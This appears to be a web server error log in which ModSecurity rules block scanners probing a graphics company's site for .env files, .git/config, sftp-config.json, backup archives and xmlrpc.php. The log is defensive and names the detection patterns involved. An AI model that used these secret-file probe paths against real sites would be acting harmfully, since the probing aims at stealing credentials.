[Fri May 15 10:07:15.191593 2026] [:error] [pid 1189:tid 1235] [client 34.97.8.90:39752] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.sql.bz2"] [unique_id "agZ_0we36qIGegR4kcmDDwAAAEo"]
[Fri May 15 10:07:15.471472 2026] [:error] [pid 1190:tid 1255] [client 34.97.8.90:39754] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.sql"] [unique_id "agZ_09qiXrD7hne4gFbKQgAAAIM"]
[Fri May 15 10:07:15.766213 2026] [:error] [pid 50531:tid 50554] [client 34.97.8.90:39766] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.zip"] [unique_id "agZ_0x3WbFwE6voqGzrlPgAAARU"]
[Fri May 15 10:07:15.961120 2026] [:error] [pid 1295:tid 1299] [client 34.97.8.90:39782] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.tar.gz"] [unique_id "agZ_09mMhqLvs0GYixkdSQAAAME"]
[Fri May 15 10:07:16.138199 2026] [:error] [pid 1190:tid 1252] [client 34.97.8.90:39796] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.tgz"] [unique_id "agZ_1NqiXrD7hne4gFbKRgAAAIA"]
[Fri May 15 10:07:16.249475 2026] [:error] [pid 50531:tid 50550] [client 34.97.8.90:39800] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.tar"] [unique_id "agZ_1B3WbFwE6voqGzrlPwAAARE"]
[Fri May 15 10:07:16.375909 2026] [:error] [pid 1190:tid 1271] [client 34.97.8.90:39806] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.tar.bz2"] [unique_id "agZ_1NqiXrD7hne4gFbKSQAAAJM"]
[Fri May 15 10:07:16.489319 2026] [:error] [pid 1190:tid 1253] [client 34.97.8.90:39812] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.tar.xz"] [unique_id "agZ_1NqiXrD7hne4gFbKSwAAAIE"]
[Fri May 15 10:07:16.598753 2026] [:error] [pid 51234:tid 51251] [client 34.97.8.90:39818] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.7z"] [unique_id "agZ_1N72N9CbeiqcqgPXSQAAAU8"]
[Fri May 15 10:07:16.714042 2026] [:error] [pid 51234:tid 51246] [client 34.97.8.90:39826] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.rar"] [unique_id "agZ_1N72N9CbeiqcqgPXSgAAAUo"]
[Fri May 15 10:07:16.806753 2026] [:error] [pid 51234:tid 51255] [client 34.97.8.90:39840] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.gz"] [unique_id "agZ_1N72N9CbeiqcqgPXSwAAAVM"]
[Fri May 15 10:07:16.901556 2026] [:error] [pid 1188:tid 1207] [client 34.97.8.90:39854] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.bz2"] [unique_id "agZ_1NY68iW8yuNkNzPxegAAAAo"]
[Fri May 15 10:07:16.982732 2026] [:error] [pid 1188:tid 1217] [client 34.97.8.90:39862] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.zst"] [unique_id "agZ_1NY68iW8yuNkNzPxewAAABQ"]
[Fri May 15 10:07:17.071212 2026] [:error] [pid 1189:tid 1240] [client 34.97.8.90:39874] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.sql.gz"] [unique_id "agZ_1Qe36qIGegR4kcmDFAAAAE8"]
[Fri May 15 10:07:17.160786 2026] [:error] [pid 1189:tid 1249] [client 34.97.8.90:39890] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.sql.bz2"] [unique_id "agZ_1Qe36qIGegR4kcmDFgAAAFg"]
[Fri May 15 10:07:17.210380 2026] [:error] [pid 1189:tid 1242] [client 34.97.8.90:39898] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.sql"] [unique_id "agZ_1Qe36qIGegR4kcmDFwAAAFE"]
[Fri May 15 10:17:47.159752 2026] [:error] [pid 1295:tid 1301] [client 34.130.122.154:52836] [client 34.130.122.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "agaCS9mMhqLvs0GYixkfHwAAAMM"]
[Fri May 15 10:17:47.182341 2026] [:error] [pid 51234:tid 51251] [client 34.130.122.154:52844] [client 34.130.122.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "agaCS972N9CbeiqcqgPbzAAAAU8"]
[Fri May 15 10:17:47.198182 2026] [:error] [pid 51234:tid 51237] [client 34.130.122.154:52856] [client 34.130.122.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/api/.env"] [unique_id "agaCS972N9CbeiqcqgPbzQAAAUE"]
[Fri May 15 10:17:47.212098 2026] [:error] [pid 51234:tid 51246] [client 34.130.122.154:52868] [client 34.130.122.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.docker"] [unique_id "agaCS972N9CbeiqcqgPbzgAAAUo"]
[Fri May 15 10:17:47.330374 2026] [:error] [pid 51234:tid 51240] [client 34.130.122.154:52884] [client 34.130.122.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env.local"] [unique_id "agaCS972N9CbeiqcqgPbzwAAAUQ"]
[Fri May 15 10:17:47.345013 2026] [:error] [pid 51234:tid 51244] [client 34.130.122.154:52872] [client 34.130.122.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dev.local"] [unique_id "agaCS972N9CbeiqcqgPb0AAAAUg"]
[Fri May 15 10:17:47.415303 2026] [:error] [pid 1189:tid 1243] [client 34.130.122.154:52898] [client 34.130.122.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/admin/.env"] [unique_id "agaCSwe36qIGegR4kcmGawAAAFI"]
[Fri May 15 10:17:47.568246 2026] [:error] [pid 51234:tid 51258] [client 34.130.122.154:52908] [client 34.130.122.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.development.local"] [unique_id "agaCS972N9CbeiqcqgPb0QAAAVY"]
[Fri May 15 10:17:47.587628 2026] [:error] [pid 1189:tid 1238] [client 34.130.122.154:52922] [client 34.130.122.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dev"] [unique_id "agaCSwe36qIGegR4kcmGbAAAAE0"]
[Fri May 15 10:17:47.642889 2026] [:error] [pid 1295:tid 1299] [client 34.130.122.154:52934] [client 34.130.122.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env"] [unique_id "agaCS9mMhqLvs0GYixkfIAAAAME"]
[Fri May 15 10:25:06.992497 2026] [:error] [pid 1295:tid 1312] [client 34.17.5.27:36282] [client 34.17.5.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "agaEAtmMhqLvs0GYixkgGQAAAM4"]
[Fri May 15 15:42:46.493786 2026] [:error] [pid 30208:tid 30219] [client 35.233.115.62:51364] [client 35.233.115.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env.local"] [unique_id "agbOdpmLMCJujX-JTvgdAQAAAIk"]
[Fri May 15 15:42:46.534085 2026] [:error] [pid 9305:tid 9355] [client 35.233.115.62:51368] [client 35.233.115.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "agbOdt5FZyBmdCM8GsF-EgAAAFE"]
[Fri May 15 15:42:46.566351 2026] [:error] [pid 30240:tid 30250] [client 35.233.115.62:51338] [client 35.233.115.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "agbOdq8ckHvaA6bpewtH7QAAAUg"]
[Fri May 15 15:42:46.626050 2026] [:error] [pid 9304:tid 9320] [client 35.233.115.62:51360] [client 35.233.115.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development.local"] [unique_id "agbOdtzcINh7UFIbVoGLnwAAAAo"]
[Fri May 15 15:42:46.693902 2026] [:error] [pid 30208:tid 30229] [client 35.233.115.62:51346] [client 35.233.115.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "agbOdpmLMCJujX-JTvgdAgAAAJM"]
[Fri May 15 15:42:46.694097 2026] [:error] [pid 30240:tid 30257] [client 35.233.115.62:51350] [client 35.233.115.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev.local"] [unique_id "agbOdq8ckHvaA6bpewtH7wAAAU8"]
[Fri May 15 15:42:46.816950 2026] [:error] [pid 9305:tid 9343] [client 35.233.115.62:51348] [client 35.233.115.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.docker"] [unique_id "agbOdt5FZyBmdCM8GsF-EwAAAEU"]
[Fri May 15 15:42:48.593498 2026] [:error] [pid 30208:tid 30223] [client 35.233.115.62:51378] [client 35.233.115.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "agbOeJmLMCJujX-JTvgdBQAAAI0"]
[Fri May 15 15:42:49.096657 2026] [:error] [pid 30208:tid 30217] [client 35.233.115.62:51388] [client 35.233.115.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "agbOeZmLMCJujX-JTvgdBgAAAIc"]
[Fri May 15 15:42:49.098000 2026] [:error] [pid 9392:tid 9417] [client 35.233.115.62:51398] [client 35.233.115.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "agbOedBWJIjH1U9zGfatGwAAARc"]
[Sat May 16 01:59:18.923667 2026] [:error] [pid 9392:tid 9406] [client 158.173.67.226:40889] [client 158.173.67.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.173.67.226, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "agde9tBWJIjH1U9zGfYGLAAAAQw"]
[Sat May 16 01:59:18.933480 2026] [proxy_fcgi:error] [pid 9392:tid 9406] [client 158.173.67.226:40889] AH01071: Got error 'Primary script unknown'
[Sat May 16 05:48:23.827513 2026] [:error] [pid 5602:tid 5604] [client 197.221.123.29:64845] [client 197.221.123.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.221.123.29, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ageUp9zTTsu77r3UIsm3CwAAAQA"]
[Sat May 16 05:48:23.838482 2026] [proxy_fcgi:error] [pid 5602:tid 5604] [client 197.221.123.29:64845] AH01071: Got error 'Primary script unknown'
[Sat May 16 22:49:50.924769 2026] [proxy_fcgi:error] [pid 5602:tid 5605] [client 4.188.224.227:3571] AH01071: Got error 'Primary script unknown'
[Sat May 16 22:49:51.068970 2026] [proxy_fcgi:error] [pid 5602:tid 5625] [client 4.188.224.227:3571] AH01071: Got error 'Primary script unknown'
[Sat May 16 22:49:51.367270 2026] [proxy_fcgi:error] [pid 5602:tid 5620] [client 4.188.224.227:3571] AH01071: Got error 'Primary script unknown'
[Sat May 16 22:49:51.511074 2026] [proxy_fcgi:error] [pid 5602:tid 5610] [client 4.188.224.227:3571] AH01071: Got error 'Primary script unknown'
[Sat May 16 22:49:51.799992 2026] [proxy_fcgi:error] [pid 5602:tid 5604] [client 4.188.224.227:3571] AH01071: Got error 'Primary script unknown'
[Sat May 16 22:49:51.944207 2026] [proxy_fcgi:error] [pid 5602:tid 5611] [client 4.188.224.227:3571] AH01071: Got error 'Primary script unknown'
[Sat May 16 22:49:52.088065 2026] [proxy_fcgi:error] [pid 5602:tid 5609] [client 4.188.224.227:3571] AH01071: Got error 'Primary script unknown'
[Sat May 16 22:49:52.518060 2026] [:error] [pid 5602:tid 5623] [client 4.188.224.227:3571] [client 4.188.224.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "agiEENzTTsu77r3UIsk_YAAAARM"]
[Sat May 16 22:49:53.095296 2026] [:error] [pid 62210:tid 62222] [client 4.188.224.227:3556] [client 4.188.224.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "agiEEcjHonCA4ORo40HX0QAAAko"]
[Sat May 16 22:49:53.714063 2026] [:error] [pid 61411:tid 61437] [client 4.188.224.227:5270] [client 4.188.224.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "agiEEWVkiEwGnPL_dvEnOQAAAZg"]
[Sat May 16 22:49:54.277592 2026] [:error] [pid 62210:tid 62228] [client 4.188.224.227:3542] [client 4.188.224.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "agiEEsjHonCA4ORo40HX0gAAAlA"]
[Sun May 17 05:09:03.332046 2026] [:error] [pid 59062:tid 59136] [client 94.187.21.202:5254] [client 94.187.21.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.187.21.202, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "agjc7z4V9GkVWmCFmGay6AAAAI0"]
[Sun May 17 05:09:03.342033 2026] [proxy_fcgi:error] [pid 59062:tid 59136] [client 94.187.21.202:5254] AH01071: Got error 'Primary script unknown'
[Sun May 17 13:03:22.982848 2026] [:error] [pid 59062:tid 59145] [client 192.96.159.129:63683] [client 192.96.159.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aglMGj4V9GkVWmCFmGbgNQAAAJY"]
[Sun May 17 14:39:45.573918 2026] [:error] [pid 59062:tid 59142] [client 103.253.27.67:63492] [client 103.253.27.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aglisT4V9GkVWmCFmGbqbQAAAJM"]
[Sun May 17 14:39:46.143737 2026] [:error] [pid 59062:tid 59132] [client 103.253.27.67:63499] [client 103.253.27.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.vscode/sftp-config.json"] [unique_id "aglisj4V9GkVWmCFmGbqcgAAAIk"]
[Sun May 17 16:12:27.888130 2026] [:error] [pid 10784:tid 10819] [client 34.148.77.178:60646] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "agl4a2BWRlKsFkSZGxA4HwAAAZM"]
[Sun May 17 16:12:28.951988 2026] [:error] [pid 11079:tid 11115] [client 34.148.77.178:60650] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "agl4bGeR3-DrxhvUqxHELAAAAks"]
[Sun May 17 16:12:29.801142 2026] [:error] [pid 10835:tid 10885] [client 34.148.77.178:60664] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "agl4bUk8lW0-dtknLl8HYQAAAgw"]
[Sun May 17 16:12:30.655519 2026] [:error] [pid 17234:tid 17250] [client 34.148.77.178:36580] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "agl4btJ4QOrYRCeDR2hLUAAAAU4"]
[Sun May 17 16:12:31.502750 2026] [:error] [pid 10834:tid 10854] [client 34.148.77.178:36586] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "agl4bxISNQ_Nf83-VpqWHQAAAcg"]
[Sun May 17 16:12:32.352975 2026] [:error] [pid 10834:tid 10861] [client 34.148.77.178:36592] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "agl4cBISNQ_Nf83-VpqWHgAAAc8"]
[Sun May 17 16:12:33.191278 2026] [:error] [pid 17234:tid 17242] [client 34.148.77.178:36598] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "agl4cdJ4QOrYRCeDR2hLVQAAAUY"]
